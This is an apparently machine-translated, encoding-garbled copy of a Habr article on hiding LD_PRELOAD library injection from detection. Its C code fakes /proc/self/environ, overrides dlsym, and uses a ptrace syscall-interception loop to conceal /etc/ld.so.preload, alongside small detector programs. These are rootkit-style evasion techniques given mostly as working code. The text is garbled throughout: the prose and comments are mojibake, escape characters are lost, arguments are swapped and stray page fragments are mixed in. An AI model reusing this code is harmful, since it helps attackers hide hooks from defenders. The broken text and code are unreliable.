เชฌเชฟเชฒเชพเชกเซ เชซเชพเชเชฒ เชเซเชฒเชตเชพ เชฎเชพเชเซ เชคเซเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ เชเซเชฒเซเชฒเชพ(), เชคเซเชฅเซ เชธเซเชฒเซเชฏเซเชถเชจ เชชเชนเซเชฒเชพเชฅเซ เช เชตเชฟเชญเชพเช 2.1 เชฎเชพเช เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช เชคเซ เชเซเชตเซเช เช เชเซ, เชชเชฐเชเชคเซ เชนเชตเซ เช เชฎเซ เชเช เช เชธเซเชฅเชพเชฏเซ เชซเชพเชเชฒ เชฌเชจเชพเชตเซเช เชเซเช เชเซเชฏเชพเช เช เชฎเซ เชฒเซเชเซเช เชงเชฐเชพเชตเชคเซ เชฒเซเชเซเช เชตเชฟเชจเชพ เชธเชพเชเซ เชฎเซเชฎเชฐเซเชจเชพ เชฎเซเชฒเซเชฏเซเชจเซ เชจเชเชฒ เชเชฐเซเช เชเซเช. LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
เช เชจเซ เช เชคเชฌเชเซเชเซ เชชเชธเชพเชฐ เชฅเช เชเชฏเซ เชเซ:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
เชเชเชพเชฎเซ เชธเซเชชเชทเซเช เชธเซเชฅเชพเชจ เชเซ /proc/self/maps. เชคเซเชจเชพ เชชเชฐ เชฐเชนเซเชตเชพเชจเซ เชเซเช เช เชฐเซเชฅ เชจเชฅเซ. เชธเซเชฒเซเชฏเซเชถเชจ เชชเชพเชเชฒเชพ เชเช เชเซเชตเซเช เช เชเซ: เชซเชพเชเชฒเชฎเชพเชเชฅเซ เชกเซเชเชพเชจเซ เชจเชเชฒ เชเชฐเซ เชตเชเซเชเซเชจเซ เชฐเซเชเชพเช เชฌเชพเชฆ เชเชฐเซ libc.so ะธ ld.so.
2.4. เชเซเชเชชเซเชเชจเซเชเชจเซ เชตเชฟเชเชฒเซเชช
เชฎเชจเซ เชเชพเชธ เชเชฐเซเชจเซ เชคเซเชจเซ เชธเชฐเชณเชคเชพ เชฎเชพเชเซ เช เชธเซเชฒเซเชฏเซเชถเชจ เชเชฎเซเชฏเซเช. เช เชฎเซ เชธเซเชงเชพ เชฒเซเชก เชเชฐเซเชฒเชพ เชซเชเชเซเชถเชจเซเชธเชจเชพ เชธเชฐเชจเชพเชฎเชพเชเชจเซ เชคเซเชฒเชจเชพ เชเชฐเซเช เชเซเช libc, เช เชจเซ "เชเชเชฒเซเช" เชธเชฐเชจเชพเชฎเชพเช.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
เชเชจเซเชเชฐเชธเซเชชเซเชถเชจ เชธเชพเชฅเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซ เชฒเซเชก เชเชฐเซ เชฐเชนเซเชฏเซเช เชเซ "เชเซเชฒเซเชฒเชพ()" เช เชจเซ เชคเชชเชพเชธเซ:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
เชเชเชกเชจ เชตเชงเซ เชธเชฐเชณ เชฌเชจเซเชฏเซเช:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. เชธเชฟเชธเซเชเชฒเซเชธ
เชเชตเซเช เชฒเชพเชเซ เชเซ เชเซ เช เชฌเชงเซเช เชเซ, เชชเชฐเชเชคเซ เชเชชเชฃเซ เชนเชเซ เชชเชฃ เชซเชซเชกเซเชถเซเช. เชเซ เชเชชเชฃเซ เชธเชฟเชธเซเชเชฎ เชเซเชฒเชจเซ เชธเซเชงเซ เชเชฐเซเชจเชฒ เชชเชฐ เชกเชพเชฏเชฐเซเชเซเช เชเชฐเซเช, เชคเซ เช เชธเชฎเชเซเชฐ เชเชจเซเชเชฐเชธเซเชชเซเชถเชจ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เชฌเชพเชฏเชชเชพเชธ เชเชฐเชถเซ. เชจเซเชเซเชจเซ เชเชเซเชฒ, เช เชฒเชฌเชคเซเชค, เชเชฐเซเชเชฟเชเซเชเซเชเชฐ เชเชงเชพเชฐเชฟเชค เชเซ (x86_64). เชเชพเชฒเซ เชเชชเชจเชฟเชเช เชถเซเชงเชตเชพ เชฎเชพเชเซ เชคเซเชจเซ เช เชฎเชฒเชฎเชพเช เชฎเซเชเชตเชพเชจเซ เชชเซเชฐเชฏเชพเชธ เชเชฐเซเช ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
เช เชจเซ เช เชธเชฎเชธเซเชฏเชพเชจเซ เชเชเซเชฒ เชเซ. เชฎเชพเชเชฅเซ เช เชตเชคเชฐเชฃ เชฎเชพเชฃเชธ'เช:
ptrace เช เชเช เชธเชพเชงเชจ เชเซ เชเซ เชชเชฟเชคเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เช เชจเซเชฏ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เชชเซเชฐเชเชคเชฟเชจเซเช เชจเชฟเชฐเซเชเซเชทเชฃ เช เชจเซ เชจเชฟเชฏเชเชคเซเชฐเชฃ เชเชฐเชตเชพ, เชคเซเชจเซ เชกเซเชเชพ เช เชจเซ เชฐเชเชฟเชธเซเชเชฐ เชเซเชตเชพ เช เชจเซ เชฌเชฆเชฒเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ. เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ เช เชซเชเชเซเชถเชจเชจเซ เชเชชเชฏเซเช เชกเชฟเชฌเชเซเชเช เชชเซเชฐเซเชเซเชฐเชพเชฎเชฎเชพเช เชฌเซเชฐเซเชเชชเซเชเชจเซเช เชฌเชจเชพเชตเชตเชพ เช เชจเซ เชธเชฟเชธเซเชเชฎ เชเซเชฒเซเชธ เชฎเซเชจเชฟเชเชฐ เชเชฐเชตเชพ เชฎเชพเชเซ เชฅเชพเชฏ เชเซ.
เชชเชฟเชคเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชชเซเชฐเชฅเชฎ เชซเซเชฐเซเช(2) เชจเซ เชเซเชฒ เชเชฐเซเชจเซ เชเซเชฐเซเชธเชฟเชเช เชถเชฐเซ เชเชฐเซ เชถเชเซ เชเซ, เช เชจเซ เชชเชเซ เชชเชฐเชฟเชฃเชพเชฎเซ เชเชพเชเชฒเซเชก เชชเซเชฐเชเซเชฐเชฟเชฏเชพ PTRACE_TRACEME เชจเซ เชเชเซเชเชฟเชเซเชฏเซเช เชเชฐเซ เชถเชเซ เชเซ, เชคเซเชฏเชพเชฐเชฌเชพเชฆ (เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ) exec(3) เชจเซ เชเชเซเชเชฟเชเซเชฏเซเช เชเชฐเซเชจเซ. เชฌเซเชเซ เชคเชฐเชซ, เชชเชฟเชคเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ PTRACE_ATTACH เชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชนเชพเชฒเชจเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เชกเซเชฌเช เชเชฐเชตเชพเชจเซเช เชถเชฐเซ เชเชฐเซ เชถเชเซ เชเซ.
เชเซเชฐเซเชธเชฟเชเช เชเชฐเชคเซ เชตเชเชคเซ, เชเซเชฏเชพเชฐเซ เชชเชฃ เชธเชฟเชเซเชจเชฒ เชฎเชณเซ เชเซ เชคเซเชฏเชพเชฐเซ เชฌเชพเชณเชเชจเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชฌเชเชง เชฅเช เชเชพเชฏ เชเซ, เชชเชเซ เชญเชฒเซเชจเซ เชธเชฟเชเซเชจเชฒเชจเซ เช เชตเชเชฃเชตเชพเชฎเชพเช เชเชตเซ. (เช เชชเชตเชพเชฆ เช SIGKILL เชเซ, เชเซ เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ เชเชพเชฎ เชเชฐเซ เชเซ.) เชชเชฟเชคเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ wait(2) เชเซเชฒ เชเชฐเซเชจเซ เชเชจเซ เชเชพเชฃ เชเชฐเชตเชพเชฎเชพเช เชเชตเชถเซ, เชเซ เชชเชเซ เชคเซ เชฌเชพเชณเช เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชถเชฐเซ เชฅเชพเชฏ เชคเซ เชชเชนเซเชฒเชพเช เชคเซเชจเซ เชธเชพเชฎเชเซเชฐเซ เชเซเช เช เชจเซ เชธเชเชถเซเชงเชฟเชค เชเชฐเซ เชถเชเซ เชเซ. เชชเชฟเชคเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชชเชเซ เชฌเชพเชณเชเชจเซ เชฆเซเชกเชตเชพเชจเซเช เชเชพเชฒเซ เชฐเชพเชเชตเชพ เชฆเซ เชเซ, เชเซเชเชฒเชพเช เชเชฟเชธเซเชธเชพเชเชฎเชพเช เชคเซเชจเซ เชฎเซเชเชฒเชตเชพเชฎเชพเช เชเชตเซเชฒเชพ เชธเชฟเชเซเชจเชฒเชจเซ เช เชตเชเชฃเซเชจเซ เช เชฅเชตเชพ เชคเซเชจเชพ เชฌเชฆเชฒเซ เช เชจเซเชฏ เชธเชฟเชเซเชจเชฒ เชฎเซเชเชฒเชตเชพ).
เชเชฎ, เชธเซเชฒเซเชฏเซเชถเชจ เช เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เชฎเซเชจเชฟเชเชฐ เชเชฐเชตเชพเชจเซ เชเซ, เชฆเชฐเซเช เชธเชฟเชธเซเชเชฎ เชเซเชฒ เชชเชนเซเชฒเชพเช เชคเซเชจเซ เชฌเชเชง เชเชฐเซเชจเซ เช เชจเซ เชเซ เชเชฐเซเชฐเซ เชนเซเชฏ เชคเซ, เชฅเซเชฐเซเชกเชจเซ เชนเซเช เชซเชเชเซเชถเชจ เชชเชฐ เชฐเซเชกเชพเชฏเชฐเซเชเซเช เชเชฐเซ.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// ะคะพัะบะฐะตะผ ะดะพัะตัะฝะธะน ะฟัะพัะตัั
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// ะะพะดะบะปััะฐะตะผัั ะบ ะดะพัะตัะฝะตะผั ะฟัะพัะตััั
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// ะััะปะตะถะธะฒะฐะตะผ ัะพะปัะบะพ SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// ะะพะปััะฐะตะผ ะฝะพะผะตั ัะธััะตะผะฝะพะณะพ ะฒัะทะพะฒะฐ
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// ะงะธัะฐะตะผ ัะปะพะฒะพ ะธะท ะฟะฐะผััะธ ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// ะะตัะตั
ะฒะฐััะฒะฐะตะผ ะฒัะทะพะฒ
if(!NOHOOK) {
// ะะพะฟะธััะตะผ ัะตะณะธัััั ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
// ะฒ ะฟะตัะตะผะตะฝะฝัั regs ัะพะดะธัะตะปััะบะพะณะพ
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// ะะพะฟะธััะตะผ ัะปะพะฒะพ ะฒ ะฟะฐะผััั ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// ะฃััะฐะฝะฐะฒะปะธะฒะฐะตะผ RIP ะฟะพ ะฐะดัะตัั evil_open
regs.REG_IP = (unsigned long) evil_open;
// ะะฐะฟะธััะฒะฐะตะผ ัะพััะพัะฝะธะต ัะตะณะธัััะพะฒ ะฟัะพัะตััะฐ
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
เชคเชชเชพเชธ เชเชฐเซ เชฐเชนเซเชฏเซเช เชเซ:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
เชคเชฎเชพเชฐเซ เชเซเชฌ เชเซเชฌ เชเชญเชพเชฐ
, เชเซเชฎเชจเชพ เชฒเซเชเซ, เชธเซเชคเซเชฐเซเชคเซ เช
เชจเซ เชเชฟเชชเซเชชเชฃเซเชเช เช เชจเซเชเชง เช
เชนเซเช เชชเซเชฐเชฆเชฐเซเชถเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซ เชฎเซเช เชเชฐเซเชฏเซเช เชคเซเชจเชพ เชเชฐเชคเชพเช เชเชฃเซเช เชตเชงเชพเชฐเซ เชเชฐเซเชฏเซเช.
เชธเซเชฐเซเชธ: www.habr.com